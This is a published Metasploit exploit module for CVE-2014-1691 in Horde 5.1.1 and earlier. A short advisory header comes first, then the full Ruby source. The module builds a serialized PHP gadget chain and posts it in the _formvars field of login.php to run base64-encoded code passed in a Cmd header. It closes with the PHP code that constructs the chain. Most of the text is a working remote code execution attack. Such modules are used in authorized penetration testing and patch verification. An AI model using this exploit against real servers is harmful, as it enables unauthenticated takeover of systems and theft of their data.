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Horde Framework Unserialize PHP Code Execution

Horde Framework Unserialize PHP Code Execution
Posted Mar 20, 2014
Authored by EgiX, juan vazquez | Site metasploit.com

This Metasploit module exploits a php unserialize() vulnerability in Horde versions 5.1.1 and below which could be abused to allow unauthenticated users to execute arbitrary code with the permissions of the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file. The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean class to reach a dangerous call_user_func() call in the Horde_Prefs class.

tags | exploit, web, arbitrary, php
advisories | CVE-2014-1691
SHA-256 | 29c01edc4c0a6e6872a0827d3816b1b853df5b79ddb58262cb3d16dea0cc69e5

Horde Framework Unserialize PHP Code Execution

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Horde Framework Unserialize PHP Code Execution',
'Description' => %q{
This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be
abused to allow unauthenticated users to execute arbitrary code with the permissions of
the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file.
The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean
class to reach a dangerous call_user_func() call in the Horde_Prefs class.
},
'Author' =>
[
'EgiX', # Exploitation technique and Vulnerability discovery (originally reported by the vendor)
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-1691' ],
[ 'URL', 'http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection' ],
[ 'URL', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737149' ],
[ 'URL', 'https://github.com/horde/horde/commit/da6afc7e9f4e290f782eca9dbca794f772caccb3' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true
},
'Targets' => [ ['Horde 5', { }], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 27 2013'
))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to Horde", "/horde/"])
], self.class)
end

def check
flag = rand_text_alpha(rand(10)+20)
res = send_request_exploit("print #{flag};die;")
if res and res.body and res.body.to_s =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
print_status("#{peer} - Testing injection...")
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable, exiting...")
end

print_status("#{peer} - Exploiting the unserialize()...")
send_request_exploit(payload.encoded)
end

def send_request_exploit(p)
php_injection = "eval(base64_decode($_SERVER[HTTP_CMD]));die();"

payload_serialized = "O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";"
payload_serialized << "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";"
payload_serialized << "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:#{php_injection.length}:\"#{php_injection}\";}i:1;s:13:\"readXMLConfig\";}}"
payload_serialized << "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}"
payload_serialized << "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}"

send_request_cgi(
{
'uri' => normalize_uri(target_uri.path.to_s, "login.php"),
'method' => 'POST',
'vars_post' => {
'_formvars' => payload_serialized
},
'headers' => {
'Cmd' => Rex::Text.encode_base64(p)
}
})
end
end

=begin

PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection

class Horde_Config
{
protected $_oldConfig = "phpinfo();die;";
}

class Horde_Prefs_Scope
{
protected $_prefs = array(1);
}

class Horde_Prefs
{
protected $_opts, $_scopes;

function __construct()
{
$this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
$this->_scopes['horde'] = new Horde_Prefs_Scope;
}
}

class Horde_Prefs_Identity
{
protected $_prefs, $_prefnames;

function __construct()
{
$this->_prefs = new Horde_Prefs;
$this->_prefnames['identities'] = 0;
}
}

class Horde_Kolab_Server_Decorator_Clean
{
private $_server, $_added = array(1);

function __construct()
{
$this->_server = new Horde_Prefs_Identity;
}
}

$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);

=end
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